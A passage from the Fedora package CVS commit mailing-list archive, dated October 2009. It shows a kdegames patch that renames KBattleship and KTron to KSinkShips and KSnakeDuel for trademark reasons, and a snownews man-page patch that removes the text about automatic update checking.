-Description[nds]=En Protokoll f?r dat Speel "KBattleship"
-Description[nl]=Een protocol voor het spel KBattleship
-Description[nn]=Protokoll for KBattleship
-Description[pl]=Protok?? gry KBattleship
-Description[pt]=Um protocolo para o jogo KBattleship
-Description[pt_BR]=Um protocolo para o jogo KBattleship
-Description[ru]=???????? ??? ???? KBattleship
-Description[sl]=Protokol za igro KBattleship
+Description=A protocol for the game KSinkShips
+Description[ca]=Un protocol pel joc KSinkShips
+Description[da]=En protokol for spillet KSinkShips
+Description[de]=Ein Protokoll f?r das KSinkShips-Spiel.
+Description[el]=??? ?????????? ??? ?? ???????? KSinkShips
+Description[en_GB]=A protocol for the game KSinkShips
+Description[es]=Un protocolo para el juego KSinkShips
+Description[et]=KSinkShipsi protokoll
+Description[eu]=KSinkShips jokoaren protokoloa
+Description[fr]=Un protocole pour le jeu KSinkShips
+Description[ga]=Pr?tacal le haghaidh an chluiche KSinkShips
+Description[gl]=Un protocolo para o xogo KSinkShips
+Description[hu]=Protokoll a KSinkShips j?t?khoz
+Description[it]=Un protocollo per KSinkShips
+Description[km]=????????????????????? KSinkShips
+Description[lv]=Protokols sp?lei KSinkShips
+Description[nds]=En Protokoll f?r dat Speel "KSinkShips"
+Description[nl]=Een protocol voor het spel KSinkShips
+Description[nn]=Protokoll for KSinkShips
+Description[pl]=Protok?? gry KSinkShips
+Description[pt]=Um protocolo para o jogo KSinkShips
+Description[pt_BR]=Um protocolo para o jogo KSinkShips
+Description[ru]=???????? ??? ???? KSinkShips
+Description[sl]=Protokol za igro KSinkShips
 Description[sr]=???????? ?? ????????????
 Description[sr at latin]=Protokol za K?podmornice
 Description[sv]=Ett protokoll f?r spelet S?nka fartyg
-Description[uk]=???????? ??? ??? KBattleship
-Description[x-test]=xxA protocol for the game KBattleshipxx
-Description[zh_CN]=KBattleship ??????
-Description[zh_TW]=KBattleship ???????
+Description[uk]=???????? ??? ??? KSinkShips
+Description[x-test]=xxA protocol for the game KSinkShipsxx
+Description[zh_CN]=KSinkShips ??????
+Description[zh_TW]=KSinkShips ???????
 exec=kbattleship %u
 
 helper=true
diff -up kdegames-4.3.2/ktron/ktron.desktop.orig kdegames-4.3.2/ktron/ktron.desktop
--- kdegames-4.3.2/ktron/ktron.desktop.orig	2009-10-02 10:20:06.000000000 +0200
+++ kdegames-4.3.2/ktron/ktron.desktop	2009-10-05 13:55:06.000000000 +0200
@@ -3,85 +3,14 @@ Type=Application
 Exec=ktron -caption "%c" %i
 Icon=ktron
 DocPath=ktron/index.html
-GenericName=Tron-like Game
-GenericName[ca]=Joc similar al Tron
-GenericName[cs]=Hra typu Tron
-GenericName[da]=Tron-lignende spil
-GenericName[de]=?Tron?-Spiel
-GenericName[el]=???????? ???????? ?? ?? Tron
-GenericName[en_GB]=Tron-like Game
-GenericName[es]=Juego similar a Tron
-GenericName[et]=Troni moodi m?ng
-GenericName[eu]=Tron-en antzeko jokoa
-GenericName[fr]=Jeu dans le style de Tron
-GenericName[ga]=Cluiche Cos?il le Tron
-GenericName[hu]=Tron-szer? j?t?k
-GenericName[it]=Un gioco simile a Tron
-GenericName[ja]=Tron ???????
-GenericName[km]=????????????? Tron
-GenericName[lv]=Tron l?dz?ga sp?le
-GenericName[nds]=Tron-liek Speel
-GenericName[nl]=Tron-achtig spel
-GenericName[nn]=Tron-liknande spel
-GenericName[pt]=Jogo Semelhante ao Tron
-GenericName[pt_BR]=Jogo semelhante ao Tron
-GenericName[ru]=???? ? ????? ??????
-GenericName[sl]=Igra podobna Tronu
-GenericName[sr]=???? ????? ?? ????
-GenericName[sr at latin]=Igra nalik na tron
-GenericName[sv]=Tron-liknande spel
-GenericName[uk]=???, ????? ?? Tron
-GenericName[x-test]=xxTron-like Gamexx
-GenericName[zh_CN]=?? Tron ???
-GenericName[zh_TW]=?? Tron ??
+GenericName=Snake Duel Game
+GenericName[de]=Schlangenduell-Spiel
+GenericName[fr]=Jeu de duel de serpents
+GenericName[it]=Gioco di duello di serpenti
+GenericName[x-test]=xxSnake Duel Gamexx
 Terminal=false
-Name=KTron
-Name[af]=Ktron
-Name[bn]=??-????
-Name[br]=KTron
-Name[ca]=KTron
-Name[cs]=KTron
-Name[cy]=KTron
-Name[da]=KTron
-Name[de]=KTron
-Name[el]=KTron
-Name[en_GB]=KTron
-Name[es]=KTron
-Name[et]=KTron
-Name[eu]=KTron
-Name[fr]=KTron
-Name[ga]=KTron
-Name[he]=KTron
-Name[hr]=KTron
-Name[hu]=KTron
-Name[is]=KTron
-Name[it]=KTron
-Name[ja]=KTron
-Name[km]=KTron
-Name[lv]=KTron
-Name[mk]=KTron
-Name[nds]=KTron
-Name[nl]=KTron
-Name[nn]=KTron
-Name[pt]=KTron
-Name[pt_BR]=KTron
-Name[ro]=KTron
-Name[ru]=????
-Name[sk]=KTron
-Name[sl]=KTron
-Name[sr]=??????
-Name[sr at latin]=K?tron
-Name[sv]=Ktron
-Name[ta]=K??????
-Name[tg]=K????
-Name[tr]=KTron
-Name[uk]=KTron
-Name[vi]=KTron
-Name[wa]=KTron
-Name[xh]=KTron
-Name[x-test]=xxKTronxx
-Name[zh_CN]=KTron
-Name[zh_TW]=KTron
+Name=KSnakeDuel
+Name[x-test]=xxKSnakeDuelxx
 X-KDE-StartupNotify=true
 X-DCOP-ServiceType=Multi
 Categories=Qt;KDE;Game;ArcadeGame;


--- kdegames-4.3.1-trademarks.patch DELETED ---



From rdieter at fedoraproject.org  Thu Oct  8 23:12:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 23:12:53 +0000 (UTC)
Subject: rpms/kdegames/F-12 kdegames-4.3.2-trademarks.patch, NONE,
	1.1 kdegames-4.3.1-trademarks.patch, 1.2, NONE
Message-ID: <20091008231253.289F011C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegames/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17894/F-12

Added Files:
	kdegames-4.3.2-trademarks.patch 
Removed Files:
	kdegames-4.3.1-trademarks.patch 
Log Message:
sync trademarks patch w/devel


kdegames-4.3.2-trademarks.patch:
 kdegames-4.3.1-trademarks/README                        |   12 +-
 kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook |   37 +++---
 kdegames-4.3.1-trademarks/doc/ktron/index.docbook       |   11 +-
 kdegames-4.3.1-trademarks/kbattleship/src/main.cpp      |    4 
 kdegames-4.3.1-trademarks/ktron/main.cpp                |    5 
 kdegames-4.3.1-trademarks/ktron/player.cpp              |    2 
 kdegames-4.3.2/kbattleship/src/kbattleship.desktop      |   88 +++++++---------
 kdegames-4.3.2/kbattleship/src/kbattleship.protocol     |   56 +++++-----
 kdegames-4.3.2/ktron/ktron.desktop                      |   85 +--------------
 9 files changed, 118 insertions(+), 182 deletions(-)

--- NEW FILE kdegames-4.3.2-trademarks.patch ---
diff -ur kdegames-4.3.1/doc/kbattleship/index.docbook kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook
--- kdegames-4.3.1/doc/kbattleship/index.docbook	2009-02-26 10:11:22.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&kbattleship;">
+  <!ENTITY kappname "<application>KSinkShips</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE" > <!-- change language only here -->
@@ -8,7 +8,7 @@
 
 <book lang="&language;">
 <bookinfo>
-<title>The &kbattleship; Handbook</title>
+<title>The &kappname; Handbook</title>
 
 <authorgroup>
 <author>
@@ -57,16 +57,17 @@
 
 <abstract>
 <para>
-&kbattleship; is a network-enabled implementation of the famous <quote>Battle Ship</quote> game for &kde;.</para>
+&kappname; is a network-enabled implementation of the famous ship sinking game for &kde;.</para>
 </abstract>
 
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>kbattleship</keyword>
+<keyword>ksinkships</keyword>
 <keyword>game</keyword>
-<keyword>battleship</keyword>
-<keyword>battle</keyword>
+<keyword>sinkships</keyword>
+<keyword>sink</keyword>
+<keyword>ships</keyword>
 </keywordset>
 
 </bookinfo>
@@ -76,7 +77,7 @@
 <note><title>Gametype:</title><para>Strategy, Board</para></note><!-- Game genre. Use as many as necessary. Available game types are: Arcade, Board, Card, Dice, Toys, Logic, Strategy.-->
 <note><title>Number of possible players:</title><para>Two</para></note><!--Number of possible players. It can be: One, Two,..., Multiplayer-->
 <para>
-&kbattleship; is a Battle Ship game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
+&kappname; is a ship sinking game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
 ships in turns without knowing where they are placed. The first player to destroy all ships wins the game.
 </para>
 </chapter>
@@ -85,14 +86,14 @@
 <title>How to Play</title>
 <note><title>Objective:</title><para>Sink all of the opponent?s ships before the opponent sink all the ships of your own.</para></note><!--Describe the objective of the game.-->
 <para>
-If you want to play &kbattleship;, you will need two players, either play
+If you want to play &kappname;, you will need two players, either play
 against the computer or in a network against another player. To play against your computer, first select the difficulty level on the right of the status bar, and then select <guibutton>Single player</guibutton> on the welcome screen, or directly on the <menuchoice><guimenu>Game</guimenu></menuchoice> menu.</para>
 
 <para>
 To start a network game, one player has to host the game by selecting <guilabel>Host network game</guilabel> on the welcome screen, or choosing <menuchoice><guimenu>Game</guimenu>
 <guimenuitem>Host Game...</guimenuitem></menuchoice>.
 A dialog box opens which asks for a <guilabel>Nickname:</guilabel> and <guilabel>Port:</guilabel>. Normally,
-&kbattleship; will suggest your full name, but you can enter any string
+&kappname; will suggest your full name, but you can enter any string
 you want. The predefined port should be ok. However, if you encounter
 problems, you can choose any other free port above 1024.
 </para>
@@ -186,10 +187,10 @@
 <title>Multiplayer support</title>
 
 <para>
-&kbattleship; can be played online on any GGZ Gaming Zone site. You can
+&kappname; can be played online on any GGZ Gaming Zone site. You can
 find other players there, and compete against them. Just enter one
-of the available Battleship rooms with any GGZ core client, such as
-kggz, and &kbattleship; will be offered to you as your favourite
+of the available rooms with any GGZ core client, such as
+kggz, and &kappname; will be offered to you as your favourite
 game client. If a GGZ core client is installed, you can try
 out GGZ by visiting the <ulink url="ggz://live.ggzgamingzone.org/#Battleship">community site</ulink>.
 </para>
@@ -197,7 +198,7 @@
 <para>
 Remember that when playing online, the opponent might be either a
 human player or a computer player. The latter one might behave
-differently from the computer player included in &kbattleship;.
+differently from the computer player included in &kappname;.
 </para>
 
 </sect1>
@@ -314,7 +315,7 @@
 </term>
 <listitem>
 <para>
-<action>Exit</action> &kbattleship;
+<action>Exit</action> &kappname;
 </para>
 </listitem>
 </varlistentry>
@@ -394,7 +395,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure the keyboard shortcuts used by &kbattleship;.</action>
+<action>Configure the keyboard shortcuts used by &kappname;.</action>
 </para>
 </listitem>
 </varlistentry>
@@ -408,7 +409,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure</action> the toolbars provided by &kbattleship;.
+<action>Configure</action> the toolbars provided by &kappname;.
 </para>
 </listitem>
 </varlistentry>
@@ -437,7 +438,7 @@
 </question>
 <answer>
 <para>
-No, there is no hint system in &kbattleship;.
+No, there is no hint system in &kappname;.
 </para>
 </answer>
 </qandaentry>
@@ -474,7 +475,7 @@
 <chapter id="credits">
 <title>Credits and Licenses</title>
 
-<para>&kbattleship; Copyright 2000-2007</para>
+<para>&kappname; Copyright 2000-2007</para>
 
 <itemizedlist>
 <title>Authors</title>
diff -ur kdegames-4.3.1/doc/ktron/index.docbook kdegames-4.3.1-trademarks/doc/ktron/index.docbook
--- kdegames-4.3.1/doc/ktron/index.docbook	2009-02-26 10:11:14.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/ktron/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&ktron;">
+  <!ENTITY kappname "<application>KSnakeDuel</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE">
@@ -61,7 +61,7 @@
 
 <abstract>
 <para>
-&kappname; is a simple <quote>Tron</quote> clone for &kde;, which you can
+&kappname; is a simple snake duel game for &kde;, which you can
 play alone or against a friend.
 </para>
 </abstract>
@@ -69,11 +69,12 @@
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>KTron</keyword>
+<keyword>KSnakeDuel</keyword>
 <keyword>game</keyword>
-<keyword>tron</keyword>
+<keyword>snakeduel</keyword>
 <keyword>KSnake</keyword>
 <keyword>snake</keyword>
+<keyword>duel</keyword>
 </keywordset>
 </bookinfo>
 
@@ -81,7 +82,7 @@
 <title>Introduction</title>
 
 <para>
-&kappname; is a simple Tron-Clone for the
+&kappname; is a simple snake duel game for the
 <ulink url="http://www.kde.org">K Desktop Environment</ulink>. You can play
 &kappname; against the computer or a friend.
 The aim of the game is to live longer than your opponent. To do that,
diff -ur kdegames-4.3.1/kbattleship/src/main.cpp kdegames-4.3.1-trademarks/kbattleship/src/main.cpp
--- kdegames-4.3.1/kbattleship/src/main.cpp	2009-08-27 10:16:58.000000000 +0200
+++ kdegames-4.3.1-trademarks/kbattleship/src/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -21,7 +21,7 @@
 
 int main(int argc, char** argv)
 {
-    KAboutData aboutData("kbattleship", 0, ki18n("KBattleship"), "2.0", 
+    KAboutData aboutData("kbattleship", 0, ki18n("KSinkShips"), "2.0", 
         ki18n("The KDE Battleship clone"), KAboutData::License_GPL, 
         ki18n("(c) 2000-2005  Nikolas Zimmermann, Daniel Molkentin\n"
               "(c) 2007 Paolo Capriotti"), KLocalizedString(), "http://games.kde.org/kbattleship" );
@@ -48,7 +48,7 @@
     KCmdLineArgs::init(argc, argv, &aboutData);
 
     KCmdLineOptions options;
-    options.add("!+[URL]", ki18n("URL of a KBattleship game server to connect to after startup"));
+    options.add("!+[URL]", ki18n("URL of a KSinkShips game server to connect to after startup"));
     KCmdLineArgs::addCmdLineOptions( options ); // Add our own options.
     KApplication app;
     KGlobal::locale()->insertCatalog("libkdegames");
diff -ur kdegames-4.3.1/ktron/main.cpp kdegames-4.3.1-trademarks/ktron/main.cpp
--- kdegames-4.3.1/ktron/main.cpp	2009-02-26 10:11:10.000000000 +0100
+++ kdegames-4.3.1-trademarks/ktron/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -41,7 +41,7 @@
 
 int main(int argc, char* argv[])
 {
-  KAboutData aboutData( "ktron", 0, ki18n("KTron"), 
+  KAboutData aboutData( "ktron", 0, ki18n("KSnakeDuel"), 
     KTRON_VERSION, description, KAboutData::License_GPL, notice);
   aboutData.addAuthor(ki18n("Matthias Kiefer"), ki18n("Original author"), "matthias.kiefer at gmx.de");
   aboutData.addAuthor(ki18n("Benjamin Meyer"), ki18n("Various improvements"), "ben+ktron at meyerhome.net");
@@ -50,7 +50,8 @@
   KCmdLineArgs::init( argc, argv, &aboutData );
 
   KCmdLineOptions options;
-  options.add("ktron", ki18n("Start in KTron mode"));
+  // This is the default anyway, why does this need an option? -- Kevin Kofler
+  // options.add("ktron", ki18n("Start in KTron mode"));
   options.add("snake", ki18n("Start in KSnake mode"));
   KCmdLineArgs::addCmdLineOptions(options);
 
diff -ur kdegames-4.3.1/ktron/player.cpp kdegames-4.3.1-trademarks/ktron/player.cpp
--- kdegames-4.3.1/ktron/player.cpp	2009-04-05 21:59:49.000000000 +0200
+++ kdegames-4.3.1-trademarks/ktron/player.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -92,7 +92,7 @@
 {
 	if (isComputer())
 	{
-		return i18n("KTron");
+		return i18n("KSnakeDuel");
 	}
 	else
 	{
diff -ur kdegames-4.3.1/README kdegames-4.3.1-trademarks/README
--- kdegames-4.3.1/README	2009-01-16 16:09:32.000000000 +0100
+++ kdegames-4.3.1-trademarks/README	2009-09-12 19:38:42.000000000 +0200
@@ -25,9 +25,6 @@
     Play backgammon against a local human player, via a game server or
     against GNU Backgammon (not included)
 
-* kbattleship
-    Sink battleship of your opponents, with built-in game server.
-
 * kblackbox
     Find the balls hidden in the black box by shooting laser beams!
 
@@ -70,6 +67,15 @@
 * kshisen
     Patience game where you take away all pieces.
 
+* ksinkships
+    Sink ships of your opponents, with built-in game server.
+
+* ksnake
+    Don't bite yourself, eat apples!
+
+* ksnakeduel
+    Like ksnake, but without fruits.
+
 * kspaceduel
     Two player game with shooting spaceships flying around a sun.
 
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig kdegames-4.3.2/kbattleship/src/kbattleship.desktop
--- kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.desktop	2009-10-05 13:52:01.000000000 +0200
@@ -1,64 +1,63 @@
 [Desktop Entry]
-Name=KBattleship
-Name[af]=Kbattleship
+Name=KSinkShips
 Name[be]=?????? ???
 Name[bn]=??-??????????
-Name[br]=KBattleship
-Name[ca]=KBattleship
+Name[br]=KSinkShips
+Name[ca]=KSinkShips
 Name[cs]=Lod?
-Name[cy]=KBattleship
-Name[da]=KBattleship
-Name[de]=KBattleship
-Name[el]=KBattleship
-Name[en_GB]=KBattleship
-Name[eo]=KBattleship
-Name[es]=KBattleship
-Name[et]=KBattleship
-Name[eu]=KBattleship
+Name[cy]=KSinkShips
+Name[da]=KSinkShips
+Name[de]=KSinkShips
+Name[el]=KSinkShips
+Name[en_GB]=KSinkShips
+Name[eo]=KSinkShips
+Name[es]=KSinkShips
+Name[et]=KSinkShips
+Name[eu]=KSinkShips
 Name[fa]=???? ???????
-Name[fi]=KBattleship
-Name[fr]=KBattleship
-Name[ga]=KBattleship
-Name[gl]=KBattleship
-Name[he]=KBattleship
+Name[fi]=KSinkShips
+Name[fr]=KSinkShips
+Name[ga]=KSinkShips
+Name[gl]=KSinkShips
+Name[he]=KSinkShips
 Name[hne]=??-???????
 Name[hr]=KPotapanje brodova
-Name[hu]=KBattleship
+Name[hu]=KSinkShips
 Name[is]=KSj?orrusta
-Name[it]=KBattleship
-Name[ja]=KBattleship
-Name[km]=KBattleship
-Name[ko]=KBattleship
-Name[lt]=KBattleship
-Name[lv]=KBattleship
-Name[mk]=KBattleship
-Name[nb]=KBattleship
+Name[it]=KSinkShips
+Name[ja]=KSinkShips
+Name[km]=KSinkShips
+Name[ko]=KSinkShips
+Name[lt]=KSinkShips
+Name[lv]=KSinkShips
+Name[mk]=KSinkShips
+Name[nb]=KSinkShips
 Name[nds]=Scheep versenken
 Name[ne]=????? ?????????
-Name[nl]=KBattleship
-Name[nn]=KBattleship
+Name[nl]=KSinkShips
+Name[nn]=KSinkShips
 Name[pa]=??-???? ?????
-Name[pl]=KBattleship
-Name[pt]=KBattleship
-Name[pt_BR]=KBattleship
+Name[pl]=KSinkShips
+Name[pt]=KSinkShips
+Name[pt_BR]=KSinkShips
 Name[ro]=B?t?lie naval?
-Name[ru]=KBattleship
-Name[se]=KBattleship
-Name[sk]=KBattleship
-Name[sl]=KBattleship
+Name[ru]=KSinkShips
+Name[se]=KSinkShips
+Name[sk]=KSinkShips
+Name[sl]=KSinkShips
 Name[sr]=????????????
 Name[sr at latin]=K?podmornice
 Name[sv]=Kbattleship
 Name[ta]=??????????????
 Name[tg]=K????? ???????
-Name[tr]=KBattleship
+Name[tr]=KSinkShips
 Name[uk]=???????? ???
-Name[vi]=KBattleship
-Name[wa]=KBattleship
-Name[xh]=KBattleship
-Name[x-test]=xxKBattleshipxx
-Name[zh_CN]=KBattleship
-Name[zh_TW]=KBattleship ??
+Name[vi]=KSinkShips
+Name[wa]=KSinkShips
+Name[xh]=KSinkShips
+Name[x-test]=xxKSinkShipsxx
+Name[zh_CN]=KSinkShips
+Name[zh_TW]=KSinkShips ??
 Exec=kbattleship -caption "%c"
 Icon=kbattleship
 Type=Application
@@ -80,7 +79,6 @@ GenericName[eu]=Ontzi-guda jokoa
 GenericName[fa]=???? ??? ???????
 GenericName[fi]=Meritaistelupeli
 GenericName[fr]=Jeu de bataille navale
-GenericName[ga]=Cluiche cos?il le "Battleship"
 GenericName[gl]=Xogo de batalla naval
 GenericName[he]=???? ??????
 GenericName[hne]=??????? ???
@@ -114,7 +112,7 @@ GenericName[ta]=????????
 GenericName[tr]=Amiral Batt? Oyunu
 GenericName[uk]=??? ? ???????? ???
 GenericName[wa]=Djeu di batreye di bateas
-GenericName[x-test]=xxBattleship Gamexx
+GenericName[x-test]=xxShip Sinking Gamexx
 GenericName[zh_CN]=??????
 GenericName[zh_TW]=????
 Terminal=false
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig kdegames-4.3.2/kbattleship/src/kbattleship.protocol
--- kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.protocol	2009-10-05 13:53:11.000000000 +0200
@@ -5,37 +5,37 @@ input=none
 output=none
 
 Icon=kbattleship
-Description=A protocol for the game KBattleship
-Description[ca]=Un protocol pel joc KBattleship
-Description[da]=En protokol for spillet KBattleship
-Description[de]=Ein Protokoll f?r das KBattleship-Spiel.
-Description[el]=??? ?????????? ??? ?? ???????? KBattleship
-Description[en_GB]=A protocol for the game KBattleship
-Description[es]=Un protocolo para el juego KBattleship
-Description[et]=KBattleshipi protokoll
-Description[eu]=KBattleship jokoaren protokoloa
-Description[fr]=Un protocole pour le jeu KBattleship
-Description[ga]=Pr?tacal le haghaidh an chluiche KBattleship
-Description[gl]=Un protocolo para o xogo KBattleship
-Description[hu]=Protokoll a KBattleship j?t?khoz
-Description[it]=Un protocollo per KBattleship
-Description[km]=????????????????????? KBattleship
-Description[lv]=Protokols sp?lei KBattleship
-Description[nds]=En Protokoll f?r dat Speel "KBattleship"
-Description[nl]=Een protocol voor het spel KBattleship
-Description[nn]=Protokoll for KBattleship
-Description[pl]=Protok?? gry KBattleship
-Description[pt]=Um protocolo para o jogo KBattleship
-Description[pt_BR]=Um protocolo para o jogo KBattleship
-Description[ru]=???????? ??? ???? KBattleship
-Description[sl]=Protokol za igro KBattleship
+Description=A protocol for the game KSinkShips
+Description[ca]=Un protocol pel joc KSinkShips
+Description[da]=En protokol for spillet KSinkShips
+Description[de]=Ein Protokoll f?r das KSinkShips-Spiel.
+Description[el]=??? ?????????? ??? ?? ???????? KSinkShips
+Description[en_GB]=A protocol for the game KSinkShips
+Description[es]=Un protocolo para el juego KSinkShips
+Description[et]=KSinkShipsi protokoll
+Description[eu]=KSinkShips jokoaren protokoloa
+Description[fr]=Un protocole pour le jeu KSinkShips
+Description[ga]=Pr?tacal le haghaidh an chluiche KSinkShips
+Description[gl]=Un protocolo para o xogo KSinkShips
+Description[hu]=Protokoll a KSinkShips j?t?khoz
+Description[it]=Un protocollo per KSinkShips
+Description[km]=????????????????????? KSinkShips
+Description[lv]=Protokols sp?lei KSinkShips
+Description[nds]=En Protokoll f?r dat Speel "KSinkShips"
+Description[nl]=Een protocol voor het spel KSinkShips
+Description[nn]=Protokoll for KSinkShips
+Description[pl]=Protok?? gry KSinkShips
+Description[pt]=Um protocolo para o jogo KSinkShips
+Description[pt_BR]=Um protocolo para o jogo KSinkShips
+Description[ru]=???????? ??? ???? KSinkShips
+Description[sl]=Protokol za igro KSinkShips
 Description[sr]=???????? ?? ????????????
 Description[sr at latin]=Protokol za K?podmornice
 Description[sv]=Ett protokoll f?r spelet S?nka fartyg
-Description[uk]=???????? ??? ??? KBattleship
-Description[x-test]=xxA protocol for the game KBattleshipxx
-Description[zh_CN]=KBattleship ??????
-Description[zh_TW]=KBattleship ???????
+Description[uk]=???????? ??? ??? KSinkShips
+Description[x-test]=xxA protocol for the game KSinkShipsxx
+Description[zh_CN]=KSinkShips ??????
+Description[zh_TW]=KSinkShips ???????
 exec=kbattleship %u
 
 helper=true
diff -up kdegames-4.3.2/ktron/ktron.desktop.orig kdegames-4.3.2/ktron/ktron.desktop
--- kdegames-4.3.2/ktron/ktron.desktop.orig	2009-10-02 10:20:06.000000000 +0200
+++ kdegames-4.3.2/ktron/ktron.desktop	2009-10-05 13:55:06.000000000 +0200
@@ -3,85 +3,14 @@ Type=Application
 Exec=ktron -caption "%c" %i
 Icon=ktron
 DocPath=ktron/index.html
-GenericName=Tron-like Game
-GenericName[ca]=Joc similar al Tron
-GenericName[cs]=Hra typu Tron
-GenericName[da]=Tron-lignende spil
-GenericName[de]=?Tron?-Spiel
-GenericName[el]=???????? ???????? ?? ?? Tron
-GenericName[en_GB]=Tron-like Game
-GenericName[es]=Juego similar a Tron
-GenericName[et]=Troni moodi m?ng
-GenericName[eu]=Tron-en antzeko jokoa
-GenericName[fr]=Jeu dans le style de Tron
-GenericName[ga]=Cluiche Cos?il le Tron
-GenericName[hu]=Tron-szer? j?t?k
-GenericName[it]=Un gioco simile a Tron
-GenericName[ja]=Tron ???????
-GenericName[km]=????????????? Tron
-GenericName[lv]=Tron l?dz?ga sp?le
-GenericName[nds]=Tron-liek Speel
-GenericName[nl]=Tron-achtig spel
-GenericName[nn]=Tron-liknande spel
-GenericName[pt]=Jogo Semelhante ao Tron
-GenericName[pt_BR]=Jogo semelhante ao Tron
-GenericName[ru]=???? ? ????? ??????
-GenericName[sl]=Igra podobna Tronu
-GenericName[sr]=???? ????? ?? ????
-GenericName[sr at latin]=Igra nalik na tron
-GenericName[sv]=Tron-liknande spel
-GenericName[uk]=???, ????? ?? Tron
-GenericName[x-test]=xxTron-like Gamexx
-GenericName[zh_CN]=?? Tron ???
-GenericName[zh_TW]=?? Tron ??
+GenericName=Snake Duel Game
+GenericName[de]=Schlangenduell-Spiel
+GenericName[fr]=Jeu de duel de serpents
+GenericName[it]=Gioco di duello di serpenti
+GenericName[x-test]=xxSnake Duel Gamexx
 Terminal=false
-Name=KTron
-Name[af]=Ktron
-Name[bn]=??-????
-Name[br]=KTron
-Name[ca]=KTron
-Name[cs]=KTron
-Name[cy]=KTron
-Name[da]=KTron
-Name[de]=KTron
-Name[el]=KTron
-Name[en_GB]=KTron
-Name[es]=KTron
-Name[et]=KTron
-Name[eu]=KTron
-Name[fr]=KTron
-Name[ga]=KTron
-Name[he]=KTron
-Name[hr]=KTron
-Name[hu]=KTron
-Name[is]=KTron
-Name[it]=KTron
-Name[ja]=KTron
-Name[km]=KTron
-Name[lv]=KTron
-Name[mk]=KTron
-Name[nds]=KTron
-Name[nl]=KTron
-Name[nn]=KTron
-Name[pt]=KTron
-Name[pt_BR]=KTron
-Name[ro]=KTron
-Name[ru]=????
-Name[sk]=KTron
-Name[sl]=KTron
-Name[sr]=??????
-Name[sr at latin]=K?tron
-Name[sv]=Ktron
-Name[ta]=K??????
-Name[tg]=K????
-Name[tr]=KTron
-Name[uk]=KTron
-Name[vi]=KTron
-Name[wa]=KTron
-Name[xh]=KTron
-Name[x-test]=xxKTronxx
-Name[zh_CN]=KTron
-Name[zh_TW]=KTron
+Name=KSnakeDuel
+Name[x-test]=xxKSnakeDuelxx
 X-KDE-StartupNotify=true
 X-DCOP-ServiceType=Multi
 Categories=Qt;KDE;Game;ArcadeGame;


--- kdegames-4.3.1-trademarks.patch DELETED ---



From shishz at fedoraproject.org  Thu Oct  8 23:29:31 2009
From: shishz at fedoraproject.org (Zing Zing Shishak)
Date: Thu,  8 Oct 2009 23:29:31 +0000 (UTC)
Subject: rpms/snownews/F-11 snownews-1.5.12-manpage.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 snownews.spec, 1.18, 1.19 sources, 1.7,
	1.8 snownews-1.5.10-manpage.patch, 1.1, NONE
Message-ID: <20091008232931.4E0D011C00DB@cvs1.fedora.phx.redhat.com>

Author: shishz

Update of /cvs/pkgs/rpms/snownews/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24499

Modified Files:
	.cvsignore snownews.spec sources 
Added Files:
	snownews-1.5.12-manpage.patch 
Removed Files:
	snownews-1.5.10-manpage.patch 
Log Message:
* Thu Oct  8 2009 Zing <zing at fastmail.fm> - 1.5.12-1
- Bug fixes + openssl added as a requirement
- Corrected two crashes when using mark unread and open URL on
  non-existent items.
- Use OpenSSL for MD5 calculations and remove all old MD5 code.
- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.


snownews-1.5.12-manpage.patch:
 snownews.1.in |   13 -------------
 1 file changed, 13 deletions(-)

--- NEW FILE snownews-1.5.12-manpage.patch ---
--- snownews-1.5.12/doc/man/snownews.1.in.orig	2009-10-05 21:28:01.000000000 -0400
+++ snownews-1.5.12/doc/man/snownews.1.in	2009-10-05 21:29:18.000000000 -0400
@@ -184,19 +184,6 @@ variable "http_proxy". Snownews expects 
 .I http://your_proxy.org:PORT/
 (http://proxy.your_isp.com:8080/).
 .P
-.B Automatic update checking
-.P
-Once a week the program will automatically check for a new version when it exits.
-It will request a file named "version" from my webserver and compare
-the returned value with the local program version. If they differ it
-notifies the user of a new version. It is done on exit to be least
-annoying I hope. This way you can easily ignore it if you don't want
-to upgrade for some reason or can't, because you're using a package
-that came with your distribution, etc. To disable this check, put the value
--1 into the file ~/.snownews/updatecheck. Snownews will
-not transfer anything to my server. It will just download a file
-containing the version number and compare it locally.
-.P
 .B Plugins
 .P
 Snownews has a plugin architecture that allows to load feeds from external


